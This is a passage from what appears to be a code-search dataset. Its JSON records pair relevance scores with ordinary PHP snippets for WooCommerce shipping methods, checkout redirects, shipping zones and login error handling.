if($disable_checkout_sundays && TRUE && is_checkout()){\n \n //194 is the page ID\n wp_safe_redirect(get_permalink(194));\n }\n\n else if($disable_checkout_maintenance && TRUE && is_checkout()){\n \n //199 is the page ID\n wp_safe_redirect(get_permalink(199));\n }\n\n else if ($disable_checkout_employee_sick && TRUE && is_checkout()){\n \n //200 is the page ID\n wp_safe_redirect(get_permalink(200));\n }\n }", "title": "" }, { "docid": "1c76a5275a7b9fb137d5df7c665aac81", "score": "0.5011446", "text": "public function get_shipping_method_options() {\n\t\tif ( ! empty( $this->shipping_methods ) ) {\n\t\t\treturn apply_filters( 'iconic_wds_shipping_method_options', $this->shipping_methods );\n\t\t}\n\n\t\t$transient_name = 'iconic-wds-shipping-methods';\n\t\t$this->shipping_methods = get_transient( $transient_name );\n\n\t\tif ( false !== $this->shipping_methods ) {\n\t\t\treturn apply_filters( 'iconic_wds_shipping_method_options', $this->shipping_methods );\n\t\t}\n\n\t\t$shipping_method_options = array(\n\t\t\t'any' => __( 'Any Method', 'jckwds' ),\n\t\t);\n\n\t\tif ( class_exists( 'WC_Shipping_Zones' ) ) {\n\t\t\t$shipping_zones = $this->get_shipping_zones();\n\n\t\t\tif ( ! empty( $shipping_zones ) ) {\n\t\t\t\tforeach ( $shipping_zones as $shipping_zone ) {\n\t\t\t\t\t$methods = $shipping_zone->get_shipping_methods( true );\n\n\t\t\t\t\tif ( ! $methods ) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\tforeach ( $methods as $method ) {\n\t\t\t\t\t\t$zone_based_shipping_method = apply_filters( 'iconic_wds_zone_based_shipping_method', array(), $method, $shipping_zone );\n\n\t\t\t\t\t\tif ( ! empty( $zone_based_shipping_method ) ) {\n\t\t\t\t\t\t\t$shipping_method_options = $shipping_method_options + $zone_based_shipping_method;\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$title = empty( $method->title ) ? ucfirst( $method->id ) : $method->title;\n\t\t\t\t\t\t$class = str_replace( 'wc_shipping_', '', strtolower( get_class( $method ) ) );\n\n\t\t\t\t\t\tif ( 'table_rate' === $class ) {\n\t\t\t\t\t\t\t$trs_methods = $this->get_trs_methods_zones( $method, $class, $shipping_zone );\n\n\t\t\t\t\t\t\t$shipping_method_options = $shipping_method_options + $trs_methods;\n\t\t\t\t\t\t} elseif ( 'be_cart_based_shipping' === $class ) {\n\t\t\t\t\t\t\t$value = sprintf( 'cart_based_rate%d', $method->instance_id );\n\n\t\t\t\t\t\t\t$shipping_method_options[ $value ] = esc_html( sprintf( '%s: %s', $shipping_zone->get_zone_name(), $title ) );\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$value = sprintf( '%s:%d', $class, $method->instance_id );\n\n\t\t\t\t\t\t\t$shipping_method_options[ $value ] = esc_html( sprintf( '%s: %s', $shipping_zone->get_zone_name(), $title ) );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$shipping_methods = WC()->shipping->load_shipping_methods();\n\n\t\tforeach ( $shipping_methods as $method ) {\n\t\t\tif ( ! $method->has_settings() ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t$standard_shipping_method = apply_filters( 'iconic_wds_standard_shipping_method', array(), $method );\n\n\t\t\tif ( ! empty( $standard_shipping_method ) ) {\n\t\t\t\t$shipping_method_options = $shipping_method_options + $standard_shipping_method;\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t$title = empty( $method->method_title ) ? ucfirst( $method->id ) : $method->method_title;\n\t\t\t$class = get_class( $method );\n\n\t\t\tif ( $class == \"WAS_Advanced_Shipping_Method\" ) {\n\t\t\t\t$was_methods = $this->get_was_methods();\n\n\t\t\t\t$shipping_method_options = $shipping_method_options + $was_methods;\n\t\t\t} elseif ( $class == \"Wafs_Free_Shipping_Method\" ) {\n\t\t\t\t$wafs_methods = $this->get_wafs_methods();\n\n\t\t\t\t$shipping_method_options = $shipping_method_options + $wafs_methods;\n\t\t\t} elseif ( $class == \"BE_Table_Rate_Shipping\" ) {\n\t\t\t\t$trs_methods = $this->get_trs_methods();\n\n\t\t\t\t$shipping_method_options = $shipping_method_options + $trs_methods;\n\t\t\t} elseif ( $class == \"WC_Shipping_WooShip\" ) {\n\t\t\t\t$wooship_methods = $this->get_wooship_methods();\n\n\t\t\t\t$shipping_method_options = $shipping_method_options + $wooship_methods;\n\t\t\t} elseif ( $class == \"MH_Table_Rate_Plus_Shipping_Method\" ) {\n\t\t\t\t$table_rate_plus_methods = $this->get_table_rate_plus_methods( $method );\n\n\t\t\t\t$shipping_method_options = $shipping_method_options + $table_rate_plus_methods;\n\t\t\t} elseif ( $class == \"WC_Distance_Rate_Shipping\" || $class == \"WC_Collection_Delivery_Rate\" || $class == \"WC_Special_Delivery_Rate\" ) {\n\t\t\t\t$distance_rate_shipping_methods = $this->get_distance_rate_shipping_methods( $method );\n\n\t\t\t\t$shipping_method_options = $shipping_method_options + $distance_rate_shipping_methods;\n\t\t\t} else {\n\t\t\t\t$shipping_method_options[ strtolower( $class ) ] = esc_html( $title );\n\t\t\t}\n\t\t}\n\n\t\t$this->shipping_methods = apply_filters( 'iconic_wds_shipping_method_options', $shipping_method_options );\n\n\t\tset_transient( $transient_name, $this->shipping_methods, 30 * DAY_IN_SECONDS );\n\n\t\treturn $this->shipping_methods;\n\t}", "title": "" }, { "docid": "1adfd1530e0142a3a8099917b28d8c8a", "score": "0.50061995", "text": "public function hook_before_ppbc_get_refreshed_fragments() {\n\t\tif ( defined( 'WC_DOING_AJAX' ) &&\n\t\t WC_DOING_AJAX &&\n\t\t isset( $_GET['wc-ajax'] ) &&\n\t\t 'get_refreshed_fragments' === $_GET['wc-ajax']\n\t\t) {\n\t\t\t$base_country = WC()->session->get( self::FORCE_NEW_ZONE_SESSION );\n\t\t\tif ( $base_country ) {\n\t\t\t\t$this->set_shipping_billing_customer( $base_country );\n\t\t\t\tWC()->session->__unset( self::FORCE_NEW_ZONE_SESSION );\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "e1213438941e08d647995a505ecf4c2d", "score": "0.49909776", "text": "private function billingShippingAddressMatch()\n {\n return null;\n }", "title": "" }, { "docid": "04efb4b76bd70cc27494f6790f75e269", "score": "0.49864012", "text": "public function testGetFDeliveryCostsIfNotSet()\n {\n $oBasket = $this->getProxyClass( \"oxBasket\" );\n $this->assertFalse( $oBasket->getFDeliveryCosts() );\n }", "title": "" }, { "docid": "b8cce0b40f504696648df2673026847a", "score": "0.49819463", "text": "function wcwp_get_filter_from_shippingmethod($shipping_method)\n{\n if (false !== strpos($shipping_method, ':')) {\n $shipping_method = explode(':', $shipping_method)[0];\n }\n if ($shipping_method === get_option('wc_wuunder_mapping_method_1')) {\n return get_option('wc_wuunder_mapping_filter_1');\n } elseif ($shipping_method === get_option('wc_wuunder_mapping_method_2')) {\n return get_option('wc_wuunder_mapping_filter_2');\n } elseif ($shipping_method === get_option('wc_wuunder_mapping_method_3')) {\n return get_option('wc_wuunder_mapping_filter_3');\n } elseif ($shipping_method === get_option('wc_wuunder_mapping_method_4')) {\n return get_option('wc_wuunder_mapping_filter_4');\n } else {\n return '';\n }\n}", "title": "" }, { "docid": "a9d1405867fb8d15e2a7ec1ffea11d2f", "score": "0.494905", "text": "public function is_woocommerce_active() {\n\t\tif (class_exists( 'WooCommerce' ) ) {\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "29ffe571d182315fe3ee26d1ba5819fb", "score": "0.49447703", "text": "public function check_required_plugins(){\n\n\t\tif ( ! is_plugin_active( 'woocommerce/woocommerce.php' ) ) { ?>\n\n\t\t\t<div id=\"message\" class=\"error\">\n\t\t\t\t<p>BCIT WPD Restrict Purchase expects WooCommerce to be active. This plugin has been deactivated.</p>\n\t\t\t</div>\n\n\t\t\t<?php\n\t\t\tdeactivate_plugins( '/bcit-wpd-woo-restrict-purchase/bcit-wpd-restrict-purchase.php' );\n\t\t} // compmany team if\n\n\t}", "title": "" }, { "docid": "4dce178fb44e481fd939f9693c4f7019", "score": "0.49378368", "text": "public function testPostingAPIGetCrossborderShippingProviderList()\n {\n\n }", "title": "" }, { "docid": "74ca064fc344f763fbd97f1452213644", "score": "0.4935856", "text": "public function isAllowToProcessPinCodes()\n {\n return $this->isProcessed() && !in_array($this->getShippingStatusCode(), [\n Shipping::STATUS_WAITING_FOR_APPROVE,\n Shipping::STATUS_WILL_NOT_DELIVER,\n ]);\n }", "title": "" }, { "docid": "3feea774bb408b2cb53c658f87f952a6", "score": "0.49315763", "text": "protected function validate_country_list_by_address_id( $__shipping_id=-100 )\n {\n\n $__selected_add = $this->db->where('id', $__shipping_id)->where('user_id', $this->current_user->id)->get('nct_addresses')->row();\n\n if($__selected_add)\n {\n $country = nc_country($__selected_add->country);\n\n //validate the users country location for shipping\n return $this->validate_country_list($country->id);\n }\n\n return false;\n }", "title": "" }, { "docid": "12cd053474c33076c6c5a5f2468962e0", "score": "0.49252042", "text": "public function manageShippingCountries(Request $request, $shipping_zone_id)\n {\n\n DB::beginTransaction();\n try {\n $countries = $request->get('shipping_countries');\n\n // print_r($countries);\n // clear all countries of shipping zone \n DB::table('shipping_countries')->where('shipping_zone_id', $shipping_zone_id)->delete();\n if (count($countries) > 0) {\n\n\n $shipping_countries = [];\n\n foreach ($countries as $country) {\n $shipping_countries[] = array(\n 'shipping_zone_id' => $shipping_zone_id,\n 'country_code' => $country['code'],\n 'created_at' => date('Y-m-d H:i:s'),\n 'created_by' => auth()->user()->id\n );\n }\n\n DB::table('shipping_countries')->insert($shipping_countries);\n }\n } catch (\\Exception $e) {\n DB::rollback();\n return response()->json(['status' => 'error', 'e' => $e->getMessage(), 'message' => 'Failed to update shipping zone countries.']);\n }\n\n DB::commit();\n return response()->json(['status' => 'success', 'message' => 'Shipping zone countries successfully updated.']);\n }", "title": "" }, { "docid": "d4f6bb5d13982b44dce971824174bb47", "score": "0.4923703", "text": "public function maybe_add_shipping_data()\n {\n global $woocommerce;\n\n if ($this->address_override && !empty($this->checkout_form) && $woocommerce->cart->needs_shipping()) {\n\n // Set the type of field\n $field_type = !empty($this->checkout_form['ship_to_different_address']) ? 'shipping' : 'billing';\n\n // Get the address\n $address = array(\n 'SHIPTONAME' => $this->checkout_form[$field_type . '_first_name'] . ' ' . $this->checkout_form[$field_type . '_last_name'],\n 'SHIPTOSTREET' => $this->checkout_form[$field_type . '_address_1'],\n 'SHIPTOSTREET2' => isset($this->checkout_form[$field_type . '_address_2']) ? $this->checkout_form[$field_type . '_address_2'] : '',\n 'SHIPTOCITY' => isset($this->checkout_form[$field_type . '_city']) ? wc_clean(stripslashes($this->checkout_form[$field_type . '_city'])) : '',\n 'SHIPTOSTATE' => isset($this->checkout_form[$field_type . '_state']) ? $this->checkout_form[$field_type . '_state'] : '',\n 'SHIPTOZIP' => isset($this->checkout_form[$field_type . '_postcode']) ? $this->checkout_form[$field_type . '_postcode'] : '',\n 'SHIPTOCOUNTRYCODE' => isset($this->checkout_form[$field_type . '_country']) ? $this->checkout_form[$field_type . '_country'] : '',\n 'SHIPTOPHONENUM' => isset($this->checkout_form[$field_type . '_phone']) ? $this->checkout_form[$field_type . '_phone'] : '',\n );\n\n // Add data to payment\n $this->payment = array_merge($this->payment, $address);\n }\n }", "title": "" }, { "docid": "e64dad679c2117b3ed840a2dd055ec9d", "score": "0.4922084", "text": "function _is_freeshipping($wrapper) {\n\n foreach ($wrapper->commerce_line_items as $line_item_wrapper) {\n if ($line_item_wrapper->type->value() == 'shipping') {\n return 'paid';\n }\n }\n\n return 'unpaid';\n}", "title": "" }, { "docid": "d0dc9c1336e5d4baf26ddff39492290e", "score": "0.49111816", "text": "public function isStateProvinceRequired()\n {\n return (bool)Mage::getStoreConfig('carriers/temando/active') || parent::isStateProvinceRequired();\n }", "title": "" }, { "docid": "5564ec301729414b1412c6e0e6c63bba", "score": "0.49065146", "text": "function _wpsc_admin_notices_3_8_14_1() {\n\n\tif ( get_option( 'do_not_use_shipping' ) ) {\n\t\treturn;\n\t}\n\n\tglobal $wpdb;\n\n\t$state_visibility = $wpdb->get_var( \"SELECT COUNT(active) FROM \" . WPSC_TABLE_CHECKOUT_FORMS . \" WHERE unique_name IN ( 'billingstate', 'shippingstate' ) AND active = '1'\" );\n\n\tif ( '2' === $state_visibility ) {\n\t\treturn;\n\t}\n\n\t$message = '<p>' . __( 'WP eCommerce has been updated, please confirm the checkout field display\nsettings are correct for your store.<br><br><i>The visibility of the checkout billing and shipping\ndrop downs that show states and provinces is now controlled by the \"billingstate\" and \"shippingstate\"\noptions set in the <b>Store Settings</b> on the <b>Checkout</b> tab. Prior versions used\nthe \"billingcountry\" and \"shippingcountry\" settings to control the visibility of the drop downs.</i>' , 'wpsc' ) . '</p>';\n\t$message .= \"\\n<p>\" . __( '<a href=\"%s\">Hide this warning</a>', 'wpsc' ) . '</p>';\n\t$message = sprintf(\n\t\t$message,\n\t\tadd_query_arg( 'dismiss_3_8_14_1_upgrade_notice', 1 )\n\t);\n\n\techo '<div id=\"wpsc-3-8-14-1-notice\" class=\"error\">' . $message . '</div>';\n}", "title": "" }, { "docid": "2dee743582d7ebe18c7c362d04677dc4", "score": "0.49051985", "text": "public function shippingZones()\n {\n return $this->belongsToMany(ShippingZone::class, 'shipping_rates');\n }", "title": "" }, { "docid": "90e363482e5609f63440db402f7226ba", "score": "0.49027303", "text": "public function supportsTimezoneOverride() {\n\t\treturn $this->realConn->supportsTimezoneOverride();\n\t}", "title": "" } ]
34d0caed0d84e2064b4f04cb127c4977
Outputs the error screen if the user can't login
[ { "docid": "faddc599972ff58f69043ecff0e88321", "score": "0.7410978", "text": "protected function outputUserError()\n\t{\n\t\t$this->outputError('login_err9');\n\t}", "title": "" } ]
[ { "docid": "d4862332513633b0e62b953d9c5e5611", "score": "0.7192304", "text": "function show_failed_login($msg)\n{\n\t$title = 'Login failed';\n\t$menu = true;\n\theader(\"HTTP/1.0 403 Forbidden\");\n\trequire(LIBWWWDIR . '/header.php');\n\techo '<div class=\"container\" style=\"margin-bottom: 200px;\">';\n\techo '<div class=\"row\" style=\"margin-top:50px;\">';\n\techo \"<h1 class='title-scoreboard flow-text'>Not Authenticated</h1>\\n\\n\n\t<p>$msg</p>\\n\\n\";\n\techo '</div>';\n\techo '</div>';\n\trequire(LIBWWWDIR . '/footer.php');\n\texit;\n}", "title": "" }, { "docid": "b132d810510517d6c74abdded93d4c30", "score": "0.71498704", "text": "public function handleErrorLogin() {\n $this->logMessage(\"Error inicio de sesion\", 'debug');\n $this->error_inicio_sesion = true;\n return sfView::SUCCESS;\n }", "title": "" }, { "docid": "1ca20e73b9a75d26df0cdcad0707e1bf", "score": "0.6913818", "text": "function display_access_error ()\n{\n if (is_logged_in())\n return display_error ('You are not allowed to access this page');\n\n // dump_array ('SERVER', $_SERVER);\n\n return display_login_form('You must be logged in to access this page',\n\t\t\t $_SERVER['REQUEST_URI']);\n}", "title": "" }, { "docid": "21b4cfbb739e2c64aa63115adaa75440", "score": "0.68508667", "text": "function login_errors_message() {\n\t\treturn 'Ooooops! Intenta de nuevo :)';\n\t}", "title": "" }, { "docid": "249f33088ced7dfe764b855965b4ae2b", "score": "0.6827941", "text": "public function actionSigninError() {\n\n $error = TWXParam::get('error', 'Something went wrong…');\n\n $this->output(\n 'signin_error',\n ['title' => 'An Error Occurred', 'error' => $error]\n );\n\n }", "title": "" }, { "docid": "564d86309edc58ae79333134cd3fb684", "score": "0.6768359", "text": "public function requestLogin()\n\t{\n\t\tRequest::redirect(ViewInterface::ERROR_403);\n\t\texit;\n\t}", "title": "" }, { "docid": "e413699f58d734d367fff59646fd1e2b", "score": "0.67428577", "text": "private function login_failure($message = 'Login failure')\n {\n //echo $message;\n render(\"landing\",array(\"icon\"=>\"&#xf071;\",\"header\"=>\"Login failure\",\"subheader\"=>$message));\n }", "title": "" }, { "docid": "b09a0d67c6cfb6474ec1e94405e9c3a3", "score": "0.6739922", "text": "function pk_login_errors() {\n\t\t\treturn 'The username and password combination you entered is invalid. <a href=\"'.wp_lostpassword_url().'\">Lost your password</a>?';\n\t\t}", "title": "" }, { "docid": "a004d99bacca0a425b8b4120136c4e66", "score": "0.6712461", "text": "function login_required(){\n\tif(!array_key_exists('email', $_SESSION)){\n\t\t// TODO: redirect to where the user is coming from.\n\t \techo(render('login_form.html', array(errors=>array('Hey, du skal være logget ind!'))));\n\t \tdie();\n\t}\t\n}", "title": "" }, { "docid": "9d82b9cca3cae3be0fa4d59984c63322", "score": "0.670294", "text": "protected function user_login( )\n {\n if(!self::emptyFieldsValidator()) {\n \n if($this->model->login($this->email, $this->password)) {\n $this->redirect('private');\n } else {\n $this->view->errorEmail = 'Usuario o contraseña incorrecto';\n }\n } \n \n $this->view->email = $this->email;\n $this->view->render();\n }", "title": "" }, { "docid": "766ecba4a0821c415dbe563c49c70e2b", "score": "0.6681503", "text": "public function action_login()\n {\n $this->template->title = 'Please Login';\n $this->template->content = View::forge('site/login', array());\n }", "title": "" }, { "docid": "6e3d244c960fe77edf450c261c7876a8", "score": "0.66733545", "text": "public function login(){\n $x = new ViewConfig();\n $x->errorButton = 'Log In';\n $x->errorBackPage = \"./Guest/login\";\n $x->errorPageMessage = 'That action is not possible ! <br>You have to LOG IN !!! ';\n echo view('pages/error_page',[\"config\"=>$x]);\n }", "title": "" }, { "docid": "d4394adfcf6ad3ffa5b5415d562de736", "score": "0.6641169", "text": "function printIncorrectLoginPage() {\n\tprintLoginForm();\n\n\tprint <<<EOT\n \t\t<div class=\"jumbotron\">\n \t\t\t<div class=\"container\">\n \t\t\t<h1></h1>\n \t\t\t\t<p>Sorry, username and/or password was not correct. Try again or click below to sign up.</p>\n \t\t\t\t<p><a href=\"signUpPage.php\" class=\"btn btn-primary btn-lg\" role=\"button\">Sign Up</a>\n \t\t\t</div>\n \t\t</div>\nEOT;\n}", "title": "" }, { "docid": "293352593ec19a716882f245e77013bd", "score": "0.66386133", "text": "public function loginError()\n {\n return view('login')->with('error', 'Usuario y/o contraseña incorrectos');\n }", "title": "" }, { "docid": "093d442560fe04c483cb486219083007", "score": "0.6617087", "text": "public function display_login()\n {\n }", "title": "" }, { "docid": "20dda9bff442258ab142f393e35e63d8", "score": "0.6608555", "text": "public function login($error = NULL) {\n \n # Setup view\n $this->template->content = View::instance('v_users_login');\n $this->template->title = \"Login\";\n \n # Pass data to the view\n\t\t$this->template->content->error = $error;\n \n\t\t# Render template\n echo $this->template;\n \t}", "title": "" }, { "docid": "8d53f8dac3379a32456a831aae5274bb", "score": "0.6585864", "text": "public function check_login()\n\t{\n\t\tif(!UID)\n\t\t\tredirect(\"login\");\n\t}", "title": "" }, { "docid": "7ce7937d9730fd5ac7872eff4eb8db0a", "score": "0.6573658", "text": "public function check_login()\r\n\t{\r\n\t\tif(!UID)\r\n\t\t\tredirect(\"login\");\r\n\t}", "title": "" }, { "docid": "85cbcc3388747b4269a4b033c2966077", "score": "0.65553707", "text": "private function checkLogin() {\n if (!$this->classes['auth']->checkLogin()) {\n header('location: /mailmaid');\n exit();\n }\n }", "title": "" }, { "docid": "1a0b9e11bcba81845026193b11c89917", "score": "0.6549272", "text": "static private function checkLogin() {\n if (PlayerSingleton::getInstance() == null || !PlayerSingleton::getInstance()['logged']) {\n \n DebugLog::Log(\"Not have session, request page without login.\");\n\n // Redireciona para a página de erro\n header(\"Location: \".LINKS['LOGIN_ERROR']);\n\n // sai do script para o navegador redirecionar para a página\n exit();\n }\n }", "title": "" }, { "docid": "42d038baaac112952ef309274d211ec7", "score": "0.6518685", "text": "public function action_login() {\n \t$error = null;\n if (isset($_POST['submit']) ){\n if (Model_User::authenticate($_POST,$this)) {\n $this->request->redirect(SIGNED_IN_HOME);\n } else {\n \t$error = \"Oops! Email and Password do not match.\";\n }\n }\n $this->add_to_header(new View(\"user/login\" , \n \tarray('error_message'=>$error)));\n $this->_view = new View(\"pages/home\"); \n $this->_enable_sidebar = false;\n }", "title": "" }, { "docid": "03c596cba4ca656b4889f4eb8fe2694d", "score": "0.64754754", "text": "function loginErrors($conn){\r\n if(isset($_POST[\"submit\"])){\r\n\r\n $username = $_POST[\"username\"];\r\n $pwd = $_POST[\"pwd\"];\r\n \r\n require_once '../model/loginmodel.php';\r\n require_once '../includes/functionsusers.inc.php';\r\n \r\n if (emptyInputLogin($username,$pwd) !== false) {\r\n header(\"location: ../views/login.php?error=emptyinput\");\r\n exit();\r\n }\r\n \r\n $this->loginUser($conn,$username, $pwd);\r\n } else {\r\n header(\"location: ../login.php\");\r\n exit();\r\n }\r\n }", "title": "" }, { "docid": "d83436dc529d40a18a89e2ddbd540386", "score": "0.6473591", "text": "public function display_errors() {\n\t\tif ( count( $this->errors ) ) :\n\t\t?>\n\t\t<div id=\"message\" class=\"error\">\n\t\t\t<p>\n\t\t\t\t<?php echo esc_html( _n( 'There was an issue retrieving your user account: ', 'There were issues retrieving your user account: ', count( $this->errors ), 'editorial-statistics' ) ) ?>\n\t\t\t\t<br /> &bull; <?php echo wp_kses_post( implode( \"\\n\\t\\t\\t\\t<br /> &bull; \", $this->errors ) ) ?>\n\t\t\t</p>\n\t\t</div>\n\t\t<?php\n\t\tendif;\n\t}", "title": "" }, { "docid": "8edab2e734b28e9c835a041a576edabd", "score": "0.64662015", "text": "public function checkLogin() {\n\t\tif(!$this->validateLogin()) {\n\t\t\theader(\"Location: index.php?redirect=\".urlencode($_SERVER['REQUEST_URI']));\n\t\t}\n\t}", "title": "" }, { "docid": "4c05e380c67928f57fe0be3050e9177a", "score": "0.6454937", "text": "public function login(){\n\t\t\t\n\t\t//Check to see if the user is logged in, if they are, redirect them to the profile page\n\t\tif($this->user) {\n\t\t\tRouter::redirect('/users/profile');\n\t\t\t\n\t\t\t//If not logged in, display the login box\n\t\t\t}else{\n\t\t\t\n\t\t\t\t//Define view parameters\n\t\t\t\t$this->template->content = View::instance('v_users_login');\n\t\t\t\t$this->template->title = \"Login\";\n\t\t\t\t\t\t\n\t\t\t\n\t\t\t//Display view\n\t\t\techo $this->template;\t\t\n\t\t\t\n\t\t\t}//End else\n\t\t\n\t}", "title": "" }, { "docid": "5a2362dbfec23a84f0b638cfb3cce414", "score": "0.6446408", "text": "public function login() {\n\t if ($this->Auth->login()) {\n\t $this->redirect($this->Auth->redirect());\n\t } else {\n // don't display \"invalid user\" before first login attempt\n if($this->request->is('post')) $this->Session->setFlash(__('Invalid username or password, try again'));\n\n\t }\n\t}", "title": "" }, { "docid": "673baf669df99100bfdabb3a5d4e0ba4", "score": "0.6444343", "text": "function m34_login_error_output() {\n\tif ( array_key_exists('login',$_GET) ) {\n\t\t$lost_pass_url = wp_lostpassword_url(get_permalink().\"?login=lost-password\");\n\t\t$login_fail = sanitize_text_field($_GET['login']);\n\t\tif ( $login_fail == 'failed' ) {\n\t\t\t$feedback_type = \"danger\"; $feedback_text = __('Username or password is not correct. Check them, please. Password forgotten?','sstfg').\" <a class='btn btn-default' href='\".$lost_pass_url.\"'>\".__('get another one','sstfg').\"</a>\";\n\n\t\t} elseif ( $login_fail == 'empty' ) {\n\t\t\t$feedback_type = \"danger\"; $feedback_text = __('Username or password are empty. If you forgot your password','sstfg'). \"<a class='btn btn-default' href='\".$lost_pass_url.\"'>\".__('get another one','sstfg').\"</a>\";\n\t\t\n\t\t} elseif ( $login_fail == 'lost-password' ) {\n\t\t\t$feedback_type = \"info\"; $feedback_text = __('<strong>A new password has been sent to your email address</strong>. You should receive it in a few moments. It may go to your spam folder.','sstfg');\n\n\t\t} elseif ( $login_fail == 'success' ) {\n\t\t\t$feedback_type = \"success\"; $feedback_text = __('You have logged in successfully.','m34forms');\n\n\t\t}\n\t\t$feedback_out = \"<div class='alert alert-\".$feedback_type.\"' role='alert'>\".$feedback_text.\"</div>\";\n\n\t} elseif ( array_key_exists('signup',$_GET) ) {\n\t\t$register_fail = sanitize_text_field($_GET['signup']);\n\t\tif ( $register_fail == 'success' ) {\n\t\t\t$feedback_type = \"success\"; $feedback_text = __('Great! You have signed up successfully. You can log in now.','m34forms');\n\t\t}\n\t\t$feedback_out = \"<div class='alert alert-\".$feedback_type.\"' role='alert'>\".$feedback_text.\"</div>\";\n\n\t} else { $feedback_out = \"\"; }\n\treturn $feedback_out;\n\n}", "title": "" }, { "docid": "9d0560854f95a8475cefb0222e12da83", "score": "0.6436379", "text": "public function callbackFail()\n {\n $this->AddOutput(\"<p><i>Något gick fel.</i></p>\");\n $this->saveInSession = true;\n $this->redirectTo('users/login');\n }", "title": "" }, { "docid": "c61cea2f85bcc8e943df21d13af17923", "score": "0.6429851", "text": "function wq_show_less_login_info()\n{\n return '<strong>ERROR</strong>: Stop guessing!';\n}", "title": "" }, { "docid": "f182bb49e894e157f6c09ec230e96267", "score": "0.64262944", "text": "function authenticationFailureRedirect()\n {\n require_once 'Horde/CLI.php';\n if (Horde_CLI::runningFromCLI()) {\n $cli = &Horde_CLI::singleton();\n $cli->fatal(_(\"You are not authenticated.\"));\n }\n\n $url = $GLOBALS['registry']->get('webroot', 'horde') . '/login.php';\n $url = Util::addParameter($url, array('url' => Horde::selfUrl(true), 'nosidebar' => 1), null, false);\n $url = Auth::addLogoutParameters($url);\n header('Location: ' . Horde::url($url, true));\n exit;\n }", "title": "" }, { "docid": "86e238a8647fd0c8e6be34782619e13b", "score": "0.641636", "text": "public function login()\n\t\t{\n\t\t\t$validateUsuario = $this->modelos->validateUsuario($_POST);\n\n\t\t\tif($validateUsuario === true) {\n\t\t\t\theader('Location: ?controlador=vista');\n\t\t\t} else { //si ed falso se devuelve un error\n\t\t\t session_start();\n \t\t$_SESSION['msg'] = \"<div class='alert'>{$validateUsuario}</div>\";\n\t\t\t\t//se requiere la vista del login en caso de que validateUsuario es false\n\t\t\t\theader('Location: ?controlador=login');\n\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "6c7c59425c52172d2fa3c918ecb65db3", "score": "0.6411039", "text": "public function errorAction()\n {\n $view = new View('errorPage');\n echo $view->render();\n }", "title": "" }, { "docid": "3f4651cdbfc999d094a0e7a0c302d510", "score": "0.6402322", "text": "protected function getFailedLoginMesssage()\n {\n return '用户名或密码不正确.';\n }", "title": "" }, { "docid": "753556a411c133fd5b72d618a36bc4e6", "score": "0.6396571", "text": "protected function showLoginForm()\n {\n header('WWW-Authenticate: Basic realm=\"Private\"');\n $this->reset('Login aborted.');\n }", "title": "" }, { "docid": "a75b5f497100d24b3f45b2c7f8de3a41", "score": "0.63936716", "text": "function LoginErrorScreen(){ //Displays on invalid login screen.\n echo \"\n <head>\n <title>Invalid Login</title>\n <link href=./style.css rel='stylesheet' type='text/css'>\n </head>\n \n <body>\n\t <div id=videoWrapper>\n\t\t <video autoplay=true id=film loop=true style=z-index:8;><source src=./typing.webm type=video/webm></video>\n\t </div>\n \n <div id=loginwrapper>\n <div id='login'>\n <b>Incorrect Username or Password Was Entered.</b><br /><br />\n <a href=./index.html>Click Here to Retry</a>\n </div>\n\t </div>\n </body>\";\n \n session_unset();\n session_destroy();\n }", "title": "" }, { "docid": "850c7f6aeb1ecc43d48e12bc20547279", "score": "0.63861513", "text": "function inloggen(){\n\tif(!isset($_SESSION[\"username\"]) && !isset($_SESSION[\"password\"])){\n\t\treturn '';\n\t}elseif(empty($_SESSION[\"username\"])){\n\t\tif(empty($_SESSION[\"password\"])){\n\t\t\treturn '<strong style=\"color:white;\">Vul alsjeblieft je naam en wachtwoord in!</strong>';\n\t\t}elseif(!empty($_SESSION[\"password\"])){\n\t\t\treturn '<strong style=\"color:white;\">U moet uw username nog invullen</strong>';\n\t\t}\n\t}elseif(!empty($_SESSION[\"username\"])){\n\t\tif(empty($_SESSION[\"password\"])){\n\t\t\treturn '<strong style=\"color:white;\">U moet uw wachtwoord nog invullen</strong>';\n\t\t}else{\n\t\t\treturn '<strong style=\"color:white;\">Hallo ' . $_SESSION['username'] . ', je bent ingelogd</strong>';\n\t\t}\n\t}\n}", "title": "" }, { "docid": "148a9136eb1a8ce09d06dd0b57814f55", "score": "0.63734776", "text": "private function login() {\n $this->_template->title = 'Login';\n $this->_template->loginErrors = $this->_model->getErrors();\n $this->_template->input = $this->_model->getSubmittedValues();\n $this->_template->missing = $this->_model->getMissingValues();\n $this->_template->token = $this->_security->generateToken();\n if ($this->_model->isJustProcessed()) {\n if (filter_has_var(INPUT_POST, 'login') && $this->_model->isLoggedIn() === false) {\n $this->_template->buildFromTemplates('header.php', 'sidebar.php', 'main.login.php', 'footer.php');\n } elseif ($this->_model->isLoggedIn() === true && $this->_model->isAdmin() === true) {\n $this->_security->deleteTokenFromSession();\n $this->_registry->redirectTo('admin/main');\n } else {\n $this->_security->deleteTokenFromSession();\n $this->_session->exists('url') === true ? $this->_registry->redirectToPrevious() : $this->_registry->redirectTo('account/info'); \n }\n } else {\n if ($this->_model->isLoggedIn() === true) {\n $this->_security->deleteTokenFromSession();\n $this->_session->exists('url') === true ? $this->_registry->redirectToPrevious() : $this->_registry->redirectTo('account/info');\n } elseif ($this->_model->isLoggedIn() === true && $this->_model->isAdmin() === true) {\n $this->_security->deleteTokenFromSession();\n $this->_registry->redirectTo('admin/main');\n } else {\n $this->_template->buildFromTemplates('header.php', 'sidebar.php', 'main.login.php', 'footer.php');\n }\n } \n }", "title": "" }, { "docid": "b14936143151e8c74acafce07ae5f8f3", "score": "0.6339507", "text": "function login_error_override()\r\n{\r\n return 'Incorrect login details.';\r\n}", "title": "" }, { "docid": "dce7dcd1f08b196d3c32feee0056d7ea", "score": "0.63393056", "text": "public function load_error() {\r\n\t\t$data['title'] = 'Login Error';\r\n\t\t$data['message'] = 